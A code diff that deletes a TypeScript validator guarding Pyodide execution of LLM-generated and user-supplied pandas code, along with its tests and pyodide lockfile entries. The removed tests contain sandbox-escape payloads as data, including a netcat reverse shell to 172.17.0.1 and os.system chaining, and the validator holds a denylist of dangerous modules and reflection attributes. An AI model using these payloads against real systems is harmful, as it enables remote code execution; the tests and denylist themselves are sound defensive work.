validatePythonCodeForDataFrame('df.__getattribute__("columns")') - expect(result.valid).toBe(false) - expect(result.reason).toContain('__getattribute__ (attribute reflection bypass)') - }) - - it('should block __getattr__ (attribute reflection bypass)', () => { - const result = validatePythonCodeForDataFrame('obj.__getattr__("columns")') - expect(result.valid).toBe(false) - expect(result.reason).toContain('__getattr__ (attribute reflection bypass)') - }) - }) - - describe('newly added patterns are blocked', () => { - it('should block vars(df)', () => { - const result = validatePythonCodeForDataFrame('vars(df)') - expect(result.valid).toBe(false) - expect(result.reason).toContain('vars()') - }) - - it('should block vars() with no arguments', () => { - const result = validatePythonCodeForDataFrame('vars()') - expect(result.valid).toBe(false) - expect(result.reason).toContain('vars()') - }) - - it('should block dir(df)', () => { - const result = validatePythonCodeForDataFrame('dir(df)') - expect(result.valid).toBe(false) - expect(result.reason).toContain('dir()') - }) - - it('should block dir() with no arguments', () => { - const result = validatePythonCodeForDataFrame('dir()') - expect(result.valid).toBe(false) - expect(result.reason).toContain('dir()') - }) - - it('should block __dict__ attribute access', () => { - const result = validatePythonCodeForDataFrame('df.__dict__') - expect(result.valid).toBe(false) - expect(result.reason).toContain('__dict__') - }) - - it('should block __dict__ write (monkey-patching attempt)', () => { - const result = validatePythonCodeForDataFrame("df.__dict__['_data'] = None") - expect(result.valid).toBe(false) - expect(result.reason).toContain('__dict__') - }) - - it('should block __module__ attribute access', () => { - const result = validatePythonCodeForDataFrame('df.__module__') - expect(result.valid).toBe(false) - expect(result.reason).toContain('__module__') - }) - - it('should block vars() used in a reflection chain', () => { - const result = validatePythonCodeForDataFrame("vars(__builtins__)['__import__']('os').system('x')") - expect(result.valid).toBe(false) - }) - - it('should block ord() used in runtime string assembly', () => { - const result = validatePythonCodeForDataFrame("ord('A')") - expect(result.valid).toBe(false) - expect(result.reason).toContain('ord() (runtime string assembly)') - }) - - it('should block ord() used in a character code comparison', () => { - const result = validatePythonCodeForDataFrame('if ord(c) == 95: pass') - expect(result.valid).toBe(false) - expect(result.reason).toContain('ord() (runtime string assembly)') - }) - }) - - describe('edge cases and false positive prevention', () => { - it('should return valid: true for empty string', () => { - expect(validatePythonCodeForDataFrame('').valid).toBe(true) - }) - - it('should allow "important" — word boundary prevents false match on "import"', () => { - expect(validatePythonCodeForDataFrame('# this is important').valid).toBe(true) - }) - - it('should allow df.dropna() — "os" inside "dropna" does not match \\bos\\.', () => { - expect(validatePythonCodeForDataFrame('df.dropna().mean()').valid).toBe(true) - }) - - it('should return a reason string when rejected', () => { - const result = validatePythonCodeForDataFrame('import os') - expect(result.valid).toBe(false) - expect(typeof result.reason).toBe('string') - expect(result.reason!.length).toBeGreaterThan(0) - }) - - it('should return no reason when valid', () => { - const result = validatePythonCodeForDataFrame("df['col'].sum()") - expect(result.valid).toBe(true) - expect(result.reason).toBeUndefined() - }) - - it('should handle multi-line valid code', () => { - const code = ["survived = df[df['Survived'] == 1]", 'count = len(survived)', 'count'].join('\n') - expect(validatePythonCodeForDataFrame(code).valid).toBe(true) - }) - }) -}) - -describe('validateCustomReadCSVFunction', () => { - describe('legitimate read_csv calls pass validation', () => { - it('should allow the default read_csv(csv_data) call', () => { - expect(validateCustomReadCSVFunction('read_csv(csv_data)').valid).toBe(true) - }) - - it('should allow literal keyword options', () => { - const result = validateCustomReadCSVFunction("read_csv(csv_data, sep=';', header=0, keep_default_na=False)") - expect(result.valid).toBe(true) - }) - - it('should allow spaces around keyword equals', () => { - const result = validateCustomReadCSVFunction("read_csv(csv_data, sep = ';', header = 0)") - expect(result.valid).toBe(true) - }) - - it('should allow statement separator characters inside string literals', () => { - const result = validateCustomReadCSVFunction("read_csv(csv_data, sep=';', lineterminator='\\n')") - expect(result.valid).toBe(true) - }) - - it('should allow literal lists, tuples, and dictionaries for read_csv options', () => { - const result = validateCustomReadCSVFunction("read_csv(csv_data, usecols=['Name', 'Age'], na_values={'Age': ['NA', '']})") - expect(result.valid).toBe(true) - }) - - it('should allow spaces around dictionary colons and a trailing dictionary comma', () => { - const result = validateCustomReadCSVFunction("read_csv(csv_data, na_values={'Age' : ['NA'],})") - expect(result.valid).toBe(true) - }) - - it('should allow filepath_or_buffer=csv_data as the explicit source', () => { - const result = validateCustomReadCSVFunction("read_csv(filepath_or_buffer=csv_data, encoding='utf-8')") - expect(result.valid).toBe(true) - }) - }) - - describe('code execution bypasses are blocked', () => { - it('should block the reported walrus tuple bypass in the read_csv source argument', () => { - const result = validateCustomReadCSVFunction( - 'read_csv((_m := pd.io.common.os, _m.system("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh")))' - ) - expect(result.valid).toBe(false) - expect(result.reason).toContain('read from csv_data directly') - }) - - it('should block dangerous attribute access in read_csv keyword values', () => { - const result = validateCustomReadCSVFunction('read_csv(csv_data, storage_options=pd.io.common.os.environ)') - expect(result.valid).toBe(false) - expect(result.reason).toContain('option values must be') - }) - - it('should block nested function calls in read_csv keyword values', () => { - const result = validateCustomReadCSVFunction("read_csv(csv_data, sep=str(','))") - expect(result.valid).toBe(false) - expect(result.reason).toContain('option values must be') - }) - - it('should block lambda converters in read_csv keyword values', () => { - const result = validateCustomReadCSVFunction("read_csv(csv_data, converters={'Name': lambda value: value})") - expect(result.valid).toBe(false) - expect(result.reason).toContain('option values must be') - }) - - it('should block positional arguments after csv_data', () => { - const result = validateCustomReadCSVFunction("read_csv(csv_data, ';')") - expect(result.valid).toBe(false) - expect(result.reason).toContain('keyword arguments') - }) - - it('should block empty arguments', () => { - const result = validateCustomReadCSVFunction('read_csv(csv_data,, header=0)') - expect(result.valid).toBe(false) - expect(result.reason).toContain('empty arguments') - }) - - it('should block a trailing comma', () => { - const result = validateCustomReadCSVFunction('read_csv(csv_data, header=0,)') - expect(result.valid).toBe(false) - expect(result.reason).toContain('empty arguments') - }) - - it('should block duplicate keyword arguments', () => { - const result = validateCustomReadCSVFunction("read_csv(csv_data, sep=',', sep=';')") - expect(result.valid).toBe(false) - expect(result.reason).toContain('duplicated') - }) - - it('should block duplicate filepath_or_buffer when source is named', () => { - const result = validateCustomReadCSVFunction("read_csv(filepath_or_buffer=csv_data, filepath_or_buffer='other.csv')") - expect(result.valid).toBe(false) - expect(result.reason).toContain('duplicated') - }) - - it('should block filepath_or_buffer override when source is positional', () => { - const result = validateCustomReadCSVFunction("read_csv(csv_data, filepath_or_buffer='other.csv')") - expect(result.valid).toBe(false) - expect(result.reason).toContain('duplicated') - }) - - it('should block malformed bracket nesting', () => { - const result = validateCustomReadCSVFunction("read_csv(csv_data, usecols=['Name', 'Age')") - expect(result.valid).toBe(false) - }) - - it('should block top-level semicolon statement chaining', () => { - const result = validateCustomReadCSVFunction("read_csv(csv_data); pd.io.common.os.system('id')") - expect(result.valid).toBe(false) - expect(result.reason).toContain('single function call') - }) - - it('should block overlong custom read_csv input', () => { - const result = validateCustomReadCSVFunction(`read_csv(csv_data, sep='${'a'.repeat(1024)}')`) - expect(result.valid).toBe(false) - expect(result.reason).toContain('1024 characters or fewer') - }) - - it('should block trailing code after the read_csv call', () => { - const result = validateCustomReadCSVFunction("read_csv(csv_data) or pd.io.common.os.system('id')") - expect(result.valid).toBe(false) - expect(result.reason).toContain('exactly one complete') - }) - - it('should block homoglyph reflection chained onto a single-line read_csv call', () => { - const result = validateCustomReadCSVFunction('read_csv(csv_data).__cl\u{1D41A}ss__') - expect(result.valid).toBe(false) - expect(result.reason).toContain('exactly one complete') - }) - - it('should block a multi-line homoglyph payload smuggled into the custom read_csv field', () => { - const payload = 'read_csv(csv_data)\ncls = ().__cl\u{1D41A}ss__' - const result = validateCustomReadCSVFunction(payload) - expect(result.valid).toBe(false) - }) - - it('should still allow a benign read_csv even when spelled with a homoglyph (normalized to ASCII)', () => { - const result = validateCustomReadCSVFunction('r\u212Fad_csv(csv_data)') - expect(result.valid).toBe(true) - }) - }) -}) diff --git a/packages/components/src/pythonCodeValidator.ts b/packages/components/src/pythonCodeValidator.ts deleted file mode 100644 index 95a020b83..000000000 --- a/packages/components/src/pythonCodeValidator.ts +++ /dev/null @@ -1,390 +0,0 @@ -/** - * Validates Python code before execution in Pyodide to prevent remote code - * execution (RCE). Two entry points are provided: - * - * - validateCustomReadCSVFunction strict allowlist-based check for the - * user-supplied "Custom Pandas Read_CSV Code" field. Only a single - * read_csv(...) call that reads from the pre-bound csv_data variable is - * permitted. Options must be keyword arguments with literal values. - * - * - validatePythonCodeForDataFrame denylist-based check for LLM-generated - * DataFrame operation code. - * - * Both checks must pass before code is handed to pyodide.runPythonAsync(). - * These validators are one defence-in-depth layer; Pyodide execution should - * still run with restricted network and filesystem access. - */ - -export interface PythonCodeValidationResult { - valid: boolean - reason?: string -} - -/** - * Normalize code the same way CPython does before tokenizing identifiers. - * - * Python 3 applies NFKC normalization to every identifier at parse time - * (PEP 3131), so source such as `__cl\u{1D41A}ss__` is executed as `__class__`. - * The ASCII-only regex denylist below never sees that normalized form, which - * lets Unicode homoglyphs slip past every pattern. Normalizing here makes the - * validator observe exactly what the interpreter will run, closing the bypass. - * - * CPython's lexer also performs explicit line joining: a backslash immediately - * followed by a newline is silently removed before tokenization. This means - * `eval\(...)` is parsed identically to `eval(...)`. Strip those - * continuations here so the denylist sees the joined form. - */ -function normalizeForValidation(code: string): string { - return code.normalize('NFKC').replace(/\\\n/g, '') -} - -/** - * Forbidden patterns that indicate unsafe Python code. - * Uses word boundaries and context to minimize false positives (e.g. df.astype is allowed). - */ -const FORBIDDEN_PATTERNS: Array<{ pattern: RegExp; reason: string }> = [ - // Imports (the executor pre-imports pandas and numpy; LLM code must not add any imports) - { pattern: /\bfrom\s+\S+\s+import\b/g, reason: 'import statement (from...import)' }, - { pattern: /\bimport\b/g, reason: 'import statement (all imports forbidden; pandas and numpy are pre-imported by the executor)' }, - // Dangerous builtins - { pattern: /\beval\s*\(/g, reason: 'eval()' }, - { pattern: /\bexec\s*\(/g, reason: 'exec()' }, - { pattern: /\bcompile\s*\(/g, reason: 'compile()' }, - { pattern: /\b__import__\s*\(/g, reason: '__import__()' }, - { pattern: /\bopen\s*\(/g, reason: 'open()' }, - { pattern: /\bbreakpoint\s*\(/g, reason: 'breakpoint()' }, - { pattern: /\binput\s*\(/g, reason: 'input()' }, - { pattern: /\braw_input\s*\(/g, reason: 'raw_input()' }, - { pattern: /\bglobals\s*\(/g, reason: 'globals()' }, - { pattern: /\blocals\s*\(/g, reason: 'locals()' }, - { pattern: /\bgetattr\s*\(/g, reason: 'getattr()' }, - { pattern: /\bsetattr\s*\(/g, reason: 'setattr()' }, - { pattern: /\bdelattr\s*\(/g, reason: 'delattr()' }, - { pattern: /\breload\s*\(/g, reason: 'reload()' }, - { pattern: /\bfile\s*\(/g, reason: 'file()' }, - { pattern: /\bexecfile\s*\(/g, reason: 'execfile()' }, - // Dangerous modules / attributes - { pattern: /\bos\./g, reason: 'os module' }, - { pattern: /\bsubprocess\./g, reason: 'subprocess module' }, - { pattern: /\bsys\./g, reason: 'sys module' }, - { pattern: /\bsocket\./g, reason: 'socket module' }, - { pattern: /\burllib\./g, reason: 'urllib module' }, - { pattern: /\brequests\./g, reason: 'requests module' }, - { pattern: /\.(?:os|subprocess|sys|socket|urllib|requests)\b/g, reason: 'dangerous module attribute access' }, - { pattern: /\b(?:system|popen)\s*\(/g, reason: 'process execution function' }, - { pattern: /\b__builtins__\b/g, reason: '__builtins__' }, - { pattern: /\b__loader__\b/g, reason: '__loader__' }, - { pattern: /\b__spec__\b/g, reason: '__spec__' }, - { pattern: /\b__class__\b/g, reason: '__class__ (reflection)' }, - { pattern: /\b__subclasses__\s*\(/g, reason: '__subclasses__()' }, - { pattern: /\b__bases__\b/g, reason: '__bases__' }, - { pattern: /\b__mro__\b/g, reason: '__mro__' }, - { pattern: /\b__globals__\b/g, reason: '__globals__' }, - { pattern: /\b__code__\b/g, reason: '__code__' }, - { pattern: /\b__closure__\b/g, reason: '__closure__' }, - { pattern: /\bvars\s*\(/g, reason: 'vars()' }, - { pattern: /\bdir\s*\(/g, reason: 'dir()' }, - { pattern: /\b__dict__\b/g, reason: '__dict__ (attribute reflection)' }, - { pattern: /\b__module__\b/g, reason: '__module__ (module reflection)' }, - { pattern: /\bchr\s*\(/g, reason: 'chr() (runtime string assembly)' }, - { pattern: /\bord\s*\(/g, reason: 'ord() (runtime string assembly)' }, - { pattern: /\b__getattribute__\b/g, reason: '__getattribute__ (attribute reflection bypass)' }, - { pattern: /\b__getattr__\b/g, reason: '__getattr__ (attribute reflection bypass)' }, - // Unsafe deserialization — read_pickle() executes arbitrary Python objects - { pattern: /\bread_pickle\b/g, reason: 'read_pickle (unsafe deserialization / RCE)' }, - { pattern: /\bpickle\b/g, reason: 'pickle module (unsafe deserialization)' }, - { pattern: /\bmarshal\b/g, reason: 'marshal module (unsafe deserialization)' }, - // Class definitions — used to synthesise file-like objects that smuggle pickle payloads - { pattern: /\bclass\s+\w/g, reason: 'class definition' } -] - -const READ_CSV_PREFIX = 'read_csv(' -const MAX_CUSTOM_READ_CSV_LENGTH = 1024 - -function skipQuotedString(code: string, startIndex: number): number { - const quote = code[startIndex] - if (quote !== "'" && quote !== '"') return -1 - - let escaped = false - for (let i = startIndex + 1; i < code.length; i += 1) { - const char = code[i] - - if (escaped) { - escaped = false - } else if (char === '\\') { - escaped = true - } else if (char === quote) { - return i + 1 - } - } - - return -1 -} - -function expectedClosingBracket(char: string): string | undefined { - if (char === '(') return ')' - if (char === '[') return ']' - if (char === '{') return '}' - return undefined -} - -function splitTopLevel(code: string, delimiter: string): string[] | undefined { - const parts: string[] = [] - const bracketStack: string[] = [] - let start = 0 - - for (let i = 0; i < code.length; i += 1) { - const char = code[i] - - if (char === "'" || char === '"') { - const nextIndex = skipQuotedString(code, i) - if (nextIndex < 0) return undefined - i = nextIndex - 1 - continue - } - - const expectedClosing = expectedClosingBracket(char) - if (expectedClosing) { - bracketStack.push(expectedClosing) - } else if (char === ')' || char === ']' || char === '}') { - if (bracketStack.pop() !== char) return undefined - } else if (char === delimiter && bracketStack.length === 0) { - parts.push(code.slice(start, i).trim()) - start = i + 1 - } - } - - if (bracketStack.length !== 0) return undefined - - parts.push(code.slice(start).trim()) - return parts -} - -function findTopLevelCharacter(code: string, character: string): number { - const bracketStack: string[] = [] - - for (let i = 0; i < code.length; i += 1) { - const char = code[i] - - if (char === "'" || char === '"') { - const nextIndex = skipQuotedString(code, i) - if (nextIndex < 0) return -1 - i = nextIndex - 1 - continue - } - - const expectedClosing = expectedClosingBracket(char) - if (expectedClosing) { - bracketStack.push(expectedClosing) - } else if (char === ')' || char === ']' || char === '}') { - if (bracketStack.pop() !== char) return -1 - } else if (char === character && bracketStack.length === 0) { - return i - } - } - - return -1 -} - -function containsStatementSeparatorOutsideString(code: string): boolean { - for (let i = 0; i < code.length; i += 1) { - const char = code[i] - - if (char === "'" || char === '"') { - const nextIndex = skipQuotedString(code, i) - if (nextIndex < 0) return true - i = nextIndex - 1 - } else if (char === '\n' || char === '\r' || char === ';') { - return true - } - } - - return false -} - -function findMatchingClosingParen(code: string, openIndex: number): number { - let depth = 0 - - for (let i = openIndex; i < code.length; i += 1) { - const char = code[i] - - if (char === "'" || char === '"') { - const nextIndex = skipQuotedString(code, i) - if (nextIndex < 0) return -1 - i = nextIndex - 1 - } else if (char === '(') { - depth += 1 - } else if (char === ')') { - depth -= 1 - if (depth === 0) return i - if (depth < 0) return -1 - } - } - - return -1 -} - -function isQuotedStringLiteral(code: string): boolean { - return skipQuotedString(code, 0) === code.length -} - -function areSafeLiteralItems(code: string): boolean { - const parts = splitTopLevel(code, ',') - if (!parts) return false - - return parts.every((part, index) => { - if (!part && index === parts.length - 1) return true - return isSafeReadCSVLiteral(part) - }) -} - -function isSafeReadCSVLiteral(code: string): boolean { - const trimmed = code.trim() - - if (!trimmed) return false - if (isQuotedStringLiteral(trimmed)) return true - if (/^[+-]?(?:\d+(?:\.\d*)?|\.\d+)(?:[eE][+-]?\d+)?$/.test(trimmed)) return true - if (/^(?:True|False|None)$/.test(trimmed)) return true - - const first = trimmed[0] - const last = trimmed[trimmed.length - 1] - - if ((first === '[' && last === ']') || (first === '(' && last === ')')) { - const inner = trimmed.slice(1, -1).trim() - return !inner || areSafeLiteralItems(inner) - } - - if (first === '{' && last === '}') { - const inner = trimmed.slice(1, -1).trim() - const entries = inner ? splitTopLevel(inner, ',') : [] - if (!entries) return false - - return entries.every((entry, index) => { - if (!entry && index === entries.length - 1) return true - - const colonIndex = findTopLevelCharacter(entry, ':') - if (colonIndex < 0) return false - - const key = entry.slice(0, colonIndex).trim() - const value = entry.slice(colonIndex + 1).trim() - return (isQuotedStringLiteral(key) || /^[+-]?\d+$/.test(key)) && isSafeReadCSVLiteral(value) - }) - } - - return false -} - -function validateReadCSVArguments(args: string): PythonCodeValidationResult { - const parts = splitTopLevel(args, ',') - if (!parts || parts.length === 0) { - return { valid: false, reason: 'read_csv() must receive csv_data as the input source' } - } - - const [firstArg, ...remainingArgs] = parts - if (!firstArg) { - return { valid: false, reason: 'read_csv() must receive csv_data as the input source' } - } - - const sourceKeyword = firstArg === 'csv_data' ? undefined : 'filepath_or_buffer' - if (sourceKeyword) { - const equalsIndex = findTopLevelCharacter(firstArg, '=') - const firstArgName = equalsIndex >= 0 ? firstArg.slice(0, equalsIndex).trim() : '' - const firstArgValue = equalsIndex >= 0 ? firstArg.slice(equalsIndex + 1).trim() : '' - - if (firstArgName !== sourceKeyword || firstArgValue !== 'csv_data') { - return { valid: false, reason: 'read_csv() must read from csv_data directly' } - } - } - - const seenKeywords = new Set(['filepath_or_buffer']) - for (const arg of remainingArgs) { - if (!arg) { - return { valid: false, reason: 'read_csv() options must not contain empty arguments' } - } - - const equalsIndex = findTopLevelCharacter(arg, '=') - if (equalsIndex <= 0) { - return { valid: false, reason: 'read_csv() options must be keyword arguments with literal values' } - } - - const keyword = arg.slice(0, equalsIndex).trim() - const value = arg.slice(equalsIndex + 1).trim() - - if (!/^[A-Za-z_][A-Za-z0-9_]*$/.test(keyword) || keyword.startsWith('__')) { - return { valid: false, reason: 'read_csv() option names must be plain identifiers' } - } - - if (seenKeywords.has(keyword)) { - return { valid: false, reason: 'read_csv() options must not be duplicated' } - } - seenKeywords.add(keyword) - - if (!isSafeReadCSVLiteral(value)) { - return { - valid: false, - reason: 'read_csv() option values must be strings, numbers, booleans, None, lists, tuples, or dictionaries' - } - } - } - - return { valid: true } -} - -/** - * Validates that the given Python code is safe to run in the pandas DataFrame context. - * Call this before passing LLM-generated code to pyodide.runPythonAsync(). - */ -export function validatePythonCodeForDataFrame(code: string): PythonCodeValidationResult { - const normalizedCode = normalizeForValidation(code) - - for (const { pattern, reason } of FORBIDDEN_PATTERNS) { - pattern.lastIndex = 0 - if (pattern.test(normalizedCode)) { - return { valid: false, reason: `Forbidden construct: ${reason}` } - } - } - - return { valid: true } -} - -/** - * Strict allowlist validator for the user-supplied "Custom Pandas Read_CSV Code" - * field. Only a single read_csv(...) call is permitted — no newlines, no - * semicolons, and no additional statements. The denylist is also applied as a - * second layer of defence. - * - * Valid examples: read_csv(csv_data) - * read_csv(csv_data, sep=';', header=0) - */ -export function validateCustomReadCSVFunction(code: string): PythonCodeValidationResult { - const trimmed = normalizeForValidation(code).trim() - - if (trimmed.length > MAX_CUSTOM_READ_CSV_LENGTH) { - return { valid: false, reason: `Custom read_csv code must be ${MAX_CUSTOM_READ_CSV_LENGTH} characters or fewer` } - } - - // Allowlist: must be a single read_csv() call - if (!trimmed.startsWith(READ_CSV_PREFIX)) { - return { valid: false, reason: 'Custom read_csv code must start with read_csv(' } - } - - // No statement separators outside strings — prevents class definitions and multi-statement payloads - if (containsStatementSeparatorOutsideString(trimmed)) { - return { - valid: false, - reason: 'Custom read_csv code must be a single function call with no newlines or semicolons' - } - } - - const closingParenIndex = findMatchingClosingParen(trimmed, READ_CSV_PREFIX.length - 1) - if (closingParenIndex !== trimmed.length - 1) { - return { valid: false, reason: 'Custom read_csv code must be exactly one complete read_csv(...) call' } - } - - const args = trimmed.slice(READ_CSV_PREFIX.length, closingParenIndex) - const argsValidation = validateReadCSVArguments(args) - if (!argsValidation.valid) return argsValidation - - // Apply the denylist as a second layer - return validatePythonCodeForDataFrame(trimmed) -} diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 5b282e65c..2e2d110c1 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -708,9 +708,6 @@ importers: puppeteer: specifier: ^20.7.1 version: 20.9.0(bufferutil@4.0.8)(encoding@0.1.13)(typescript@5.5.2)(utf-8-validate@6.0.4) - pyodide: - specifier: '>=0.21.0-alpha.2' - version: 0.25.0(bufferutil@4.0.8)(utf-8-validate@6.0.4) redis: specifier: ^4.6.7 version: 4.6.13 @@ -33710,7 +33707,8 @@ snapshots: bare-events: 2.6.0 optional: true - base-64@1.0.0: {} + base-64@1.0.0: + optional: true base16@1.0.0: {} @@ -43328,6 +43326,7 @@ snapshots: transitivePeerDependencies: - bufferutil - utf-8-validate + optional: true q@1.5.1: {}